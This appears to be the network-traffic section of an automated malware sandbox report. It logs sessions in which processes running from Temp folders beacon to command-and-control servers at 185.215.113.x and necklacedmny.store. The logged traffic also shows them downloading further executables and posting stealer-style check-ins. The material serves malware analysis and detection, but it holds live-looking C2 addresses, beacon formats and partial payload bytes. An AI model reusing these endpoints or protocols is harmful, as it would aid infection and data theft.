Nov 1, 2024 12:35:14.988178968 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	50069	185.215.113.16	80	2912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:13.953016043 CET	138	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Fri, 01 Nov 2024 11:30:58 GMT If-None-Match: "6724bbf2-2ab000"
Nov 1, 2024 12:35:14.860522032 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:14 GMT Last-Modified: Fri, 01 Nov 2024 11:30:58 GMT Connection: keep-alive ETag: "6724bbf2-2ab000"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	50070	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:15.110146046 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	50071	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:15.123255014 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:35:16.033606052 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	50072	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:16.162740946 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:35:17.110368013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:35:17.114077091 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:35:17.409317017 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	50073	185.215.113.43	80	2912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:17.215404987 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 37 37 36 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001776101&unit=246122658369
Nov 1, 2024 12:35:18.150118113 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	50074	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:17.531615019 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:35:18.438795090 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	50075	185.215.113.16	80	2912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:19.039112091 CET	61	OUT	GET /files/FontCreator.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 12:35:19.862687111 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:19 GMT Content-Type: application/octet-stream Content-Length: 6172760 Last-Modified: Thu, 31 Oct 2024 16:49:02 GMT Connection: keep-alive ETag: "6723b4fe-5e3058" Accept-Ranges: bytes Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0b 00 bd da 90 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 02 19 00 74 0a 00 00 70 02 00 00 00 00 00 bc 83 0a 00 00 10 00 00 00 90 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 c0 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PELftp@^@@pqP^X(R\`.textVX `.itextdp\ `.data88:x@.bssXr.idataP@.didata`@.edataqp@@.tls.rdata]@@.reloc@B.rsrc@@
Nov 1, 2024 12:35:19.862699986 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 03 07 42 6f 6f 6c 65 61 6e 01 00 00 00 00 01 00 00 00 00 10 40 Data Ascii: @@@Boolean@FalseTrueSystem4@A
Nov 1, 2024 12:35:19.862894058 CET	1236	IN	Data Raw: 6e 73 69 43 68 61 72 01 00 00 00 00 ff 00 00 00 02 00 00 00 00 50 10 40 00 09 04 43 68 61 72 03 00 00 00 00 ff ff 00 00 02 00 00 00 00 68 10 40 00 01 08 53 68 6f 72 74 49 6e 74 00 80 ff ff ff 7f 00 00 00 02 00 00 00 00 84 10 40 00 01 08 53 6d 61 Data Ascii: nsiCharP@Charh@ShortInt@SmallInt@Integer@Byte@Word@Cardinal@Pointer@Int64
Nov 1, 2024 12:35:19.862924099 CET	1236	IN	Data Raw: 66 66 73 65 74 02 00 70 11 40 00 18 00 00 00 02 0a 49 6d 70 6c 47 65 74 74 65 72 02 00 02 00 00 00 30 15 40 00 14 0f 50 49 6e 74 65 72 66 61 63 65 54 61 62 6c 65 48 15 40 00 02 00 00 4c 15 40 00 0e 0f 54 49 6e 74 65 72 66 61 63 65 54 61 62 6c 65 Data Ascii: ffsetp@ImplGetter0@PInterfaceTableH@L@TInterfaceTableE@EntryCountEntries@TMethod@Code@Data(J&op_Equality@@Left
Nov 1, 2024 12:35:19.862935066 CET	1236	IN	Data Raw: 6c 61 73 73 4e 61 6d 65 49 73 03 00 00 10 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 b8 12 40 00 01 00 04 4e 61 6d 65 02 00 02 00 2b 00 28 9c 4a 00 0b 43 6c 61 73 73 50 61 72 65 6e 74 03 00 14 13 40 00 08 00 01 00 00 00 00 00 00 Data Ascii: lassNameIs@Self@Name+(JClassParent@Self)(JClassInfo@Self,(JInstanceSize@Self<@InheritsFrom@Self@AClass;<@
Nov 1, 2024 12:35:19.863020897 CET	1236	IN	Data Raw: 00 00 00 00 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 01 00 00 00 00 01 00 07 4d 65 73 73 61 67 65 02 00 02 00 3f 00 04 81 40 00 0e 44 65 66 61 75 6c 74 48 61 6e 64 6c 65 72 03 00 00 00 00 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c Data Ascii: @SelfMessage?@DefaultHandler@SelfMessage+}@NewInstance@Self,}@FreeInstance@Self'}@Destroy@Self@TObj
Nov 1, 2024 12:35:19.863033056 CET	848	IN	Data Raw: 00 8c 23 40 00 14 08 50 4d 6f 6e 69 74 6f 72 8c 24 40 00 02 00 a0 23 40 00 14 17 54 4d 6f 6e 69 74 6f 72 2e 50 57 61 69 74 69 6e 67 54 68 72 65 61 64 c0 23 40 00 02 00 00 c4 23 40 00 0e 17 54 4d 6f 6e 69 74 6f 72 2e 54 57 61 69 74 69 6e 67 54 68 Data Ascii: #@PMonitor$@#@TMonitor.PWaitingThread#@#@TMonitor.TWaitingThread#@Next@Thread@WaitEvent,$@TMonitor.TSpinLock@FLock@Enter@
Nov 1, 2024 12:35:19.863044977 CET	1236	IN	Data Raw: 0a 9c 1f 40 00 07 41 4f 62 6a 65 63 74 02 00 02 00 ec 26 40 00 0f 0a 49 49 6e 74 65 72 66 61 63 65 00 00 00 00 01 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 03 00 ff ff 02 00 00 00 20 27 40 00 0f 0b 49 45 6e 75 6d 65 72 Data Ascii: @AObject&@IInterfaceFSystem '@IEnumerable&@SystemT'@IDispatch&@FSystemD$D$D$'@'@'@F'@
Nov 1, 2024 12:35:19.863055944 CET	1236	IN	Data Raw: 00 0d 13 54 56 61 72 41 72 72 61 79 42 6f 75 6e 64 41 72 72 61 79 08 00 00 00 01 00 00 00 54 2b 40 00 01 00 00 00 00 02 00 d8 2b 40 00 14 09 50 56 61 72 41 72 72 61 79 ec 2b 40 00 02 00 00 00 00 f0 2b 40 00 0e 09 54 56 61 72 41 72 72 61 79 18 00 Data Ascii: TVarArrayBoundArrayT+@+@PVarArray+@+@TVarArray@DimCount@Flags@ElementSize@LockCount@Data+@Bounds,@TVarRecord
Nov 1, 2024 12:35:19.863068104 CET	1236	IN	Data Raw: 10 40 00 00 00 00 00 02 08 56 42 6f 6f 6c 65 61 6e 02 00 30 10 40 00 00 00 00 00 02 05 56 43 68 61 72 02 00 c8 2a 40 00 00 00 00 00 02 09 56 45 78 74 65 6e 64 65 64 02 00 5c 2a 40 00 00 00 00 00 02 07 56 53 74 72 69 6e 67 02 00 00 11 40 00 00 00 Data Ascii: @VBoolean0@VChar@VExtended\@VString@VPointer@VPChar@VObject@VClassL@VWideChar@VPWideChar@VAnsiString@VCurrency@
Nov 1, 2024 12:35:19.867641926 CET	1236	IN	Data Raw: 00 43 00 f4 ff a6 47 40 00 43 00 f4 ff 1e 48 40 00 43 00 f4 ff 91 48 40 00 43 00 f4 ff 16 49 40 00 43 00 f4 ff 7f 49 40 00 43 00 f4 ff f5 49 40 00 43 00 f4 ff 5b 4a 40 00 43 00 f4 ff 00 00 08 54 4d 61 72 73 68 61 6c 26 00 28 9c 4a 00 06 43 72 65 Data Ascii: CG@CH@CH@CI@CI@CI@C[J@CTMarshal&(JCreateJ@Self%(JInString@@S&(JOutString@@S((JInOutString@@S.(JAsAnsi@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	50076	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:19.111267090 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	50077	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:19.721055984 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:35:20.633433104 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:35:20.642648935 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:35:20.924782991 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	50078	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:21.045861959 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:35:21.948440075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49978	188.114.96.3	443	6108	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:14 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 11:34:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 11:34:15 UTC	1009	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=95hd1jk7g5v0m1fsj6m22btbp5; expires=Tue, 25-Feb-2025 05:20:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E6d0QBZClHrRY2Dte2bw2MI8PGqk8mkkwarasvLqmopzIwqE7J%2BYfvFU3iteOITtNp3vpEx8KDQ7fChvd1woMWTwxBCUN8vb09bDEM77wGhOG5nnw83CLlZGwByI9scysrDIZ4M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb93147f366b97-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1050&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2669124&cwnd=251&unsent_bytes=0&cid=3d56c88748279f58&ts=746&x=0"
2024-11-01 11:34:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 11:34:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49980	188.114.96.3	443	6108	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:15 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 11:34:15 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 11:34:16 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n3d48u1v9h6r5f546dpqtr8cli; expires=Tue, 25-Feb-2025 05:20:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ksq7%2BdVkcL%2B6vfMPAXrZVYqUCEV4Z1u%2BJ57uUbk8xFgeQzPDNio591rcJnHjUSAIh6fQY7kXwz%2BGcKQdupR5vGCmf7ALGCrSh4ADDFfgFZIF1K3QEUetrY9IRZQA7fW6RftEQRQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb931d0f2d47a8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1187&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=2397350&cwnd=251&unsent_bytes=0&cid=cec0bc56fc0a3dc1&ts=521&x=0"
2024-11-01 11:34:16 UTC	354	IN	Data Raw: 34 64 63 0d 0a 43 39 78 70 34 5a 43 42 6a 73 45 43 54 70 51 6f 55 49 47 38 39 36 45 46 59 5a 67 6b 41 53 53 53 48 6e 49 68 4a 2f 43 38 36 65 4a 77 2f 68 2f 44 71 72 57 69 34 33 45 72 74 68 49 6b 38 38 6d 53 6a 53 63 41 2f 41 59 37 51 76 4e 79 41 55 51 4c 30 73 71 45 77 44 47 36 43 49 33 6a 35 4b 4c 6a 5a 7a 61 32 45 67 76 36 6e 70 4c 50 4a 31 75 36 51 57 74 47 38 33 49 51 51 45 79 66 7a 49 57 42 59 37 41 4f 69 66 58 69 36 71 42 75 49 2f 46 4e 4e 65 44 57 6d 63 68 6f 43 66 55 47 4c 51 62 33 5a 46 41 62 42 62 33 5a 6e 59 4e 47 76 52 71 4b 73 76 79 69 75 69 41 72 2b 67 70 71 6f 39 32 53 77 32 6b 48 2f 45 39 70 54 50 70 36 45 55 56 4e 67 4e 57 50 69 6d 4f 2b 44 59 6a 2f 36 2f 36 74 5a 43 54 36 53 7a 2f 67 6e 74 75 44 59 42 75 36 48 69 4d 56 77 6e 38 42 55 6c Data Ascii: 4dcC9xp4ZCBjsECTpQoUIG896EFYZgkASSSHnIhJ/C86eJw/h/DqrWi43ErthIk88mSjScA/AY7QvNyAUQL0sqEwDG6CI3j5KLjZza2Egv6npLPJ1u6QWtG83IQQEyfzIWBY7AOifXi6qBuI/FNNeDWmchoCfUGLQb3ZFAbBb3ZnYNGvRqKsvyiuiAr+gpqo92Sw2kH/E9pTPp6EUVNgNWPimO+DYj/6/6tZCT6Sz/gntuDYBu6HiMVwn8BUl
2024-11-01 11:34:16 UTC	897	IN	Data Raw: 75 79 78 61 43 66 39 54 79 44 6f 31 35 6a 4f 5a 77 37 77 53 57 42 47 39 33 59 61 54 45 2b 57 30 34 61 47 61 62 35 4c 7a 62 4c 6b 39 4f 4d 34 62 4e 56 50 49 75 54 53 67 34 46 64 51 2b 55 49 65 67 62 33 63 46 41 62 42 5a 72 62 69 49 4e 69 73 51 69 4c 2b 66 48 73 73 57 59 68 38 31 67 30 35 74 43 66 77 48 55 4a 39 45 42 67 54 2f 74 31 46 55 52 42 30 70 44 4c 68 33 48 2b 55 38 50 54 37 75 65 76 61 6a 76 32 43 69 32 74 78 39 58 45 61 30 4f 69 42 6d 64 48 39 48 30 55 54 55 75 57 30 6f 32 4f 5a 4c 45 4e 69 66 4c 6b 35 71 74 6f 4c 66 74 42 50 65 50 62 6d 4d 64 68 44 2f 74 44 49 77 69 77 65 77 67 44 48 64 4c 77 6a 49 4e 37 2f 44 36 41 2f 4f 33 72 74 53 41 7a 75 46 4e 79 35 4e 4c 56 6d 79 63 4e 2f 30 6c 78 52 2b 4a 35 48 6c 46 4a 6c 39 69 47 67 32 65 2b 44 6f 54 2f Data Ascii: uyxaCf9TyDo15jOZw7wSWBG93YaTE+W04aGab5LzbLk9OM4bNVPIuTSg4FdQ+UIegb3cFAbBZrbiINisQiL+fHssWYh81g05tCfwHUJ9EBgT/t1FURB0pDLh3H+U8PT7uevajv2Ci2tx9XEa0OiBmdH9H0UTUuW0o2OZLENifLk5qtoLftBPePbmMdhD/tDIwiwewgDHdLwjIN7/D6A/O3rtSAzuFNy5NLVmycN/0lxR+J5HlFJl9iGg2e+DoT/
2024-11-01 11:34:16 UTC	1369	IN	Data Raw: 33 66 39 30 0d 0a 37 75 4f 71 61 53 58 6b 51 44 37 74 7a 4a 6a 4a 59 67 33 32 51 32 78 47 38 58 30 65 53 55 37 53 6b 4d 75 48 63 66 35 54 77 39 33 75 2f 4c 46 71 4a 2b 63 49 42 2b 44 51 6d 38 52 78 51 2b 55 49 65 67 62 33 63 46 41 62 42 5a 6e 59 68 34 78 70 75 42 6d 4e 2f 66 48 6d 73 57 51 69 38 6b 59 38 36 74 4f 61 78 6e 55 48 2b 6c 52 69 51 2f 64 79 48 56 46 41 30 70 44 4c 68 33 48 2b 55 38 50 49 31 2b 75 7a 63 53 75 30 66 7a 48 74 30 4a 4c 56 4a 78 79 30 58 79 4e 42 2f 44 78 49 41 30 61 65 30 34 4b 46 5a 71 77 42 6a 2f 50 78 36 36 70 70 4a 76 64 45 50 65 6a 53 6b 4e 46 73 44 50 4a 4a 59 6b 76 39 64 78 52 44 42 64 79 65 6a 4a 67 70 35 6b 75 69 2f 2b 7a 2b 6f 48 46 75 77 30 6b 38 37 64 6d 44 67 33 68 4e 34 77 5a 6b 53 72 41 6b 55 45 4a 4a 6e 74 2b 45 68 Data Ascii: 3f907uOqaSXkQD7tzJjJYg32Q2xG8X0eSU7SkMuHcf5Tw93u/LFqJ+cIB+DQm8RxQ+UIegb3cFAbBZnYh4xpuBmN/fHmsWQi8kY86tOaxnUH+lRiQ/dyHVFA0pDLh3H+U8PI1+uzcSu0fzHt0JLVJxy0XyNB/DxIA0ae04KFZqwBj/Px66ppJvdEPejSkNFsDPJJYkv9dxRDBdyejJgp5kui/+z+oHFuw0k87dmDg3hN4wZkSrAkUEJJnt+Eh
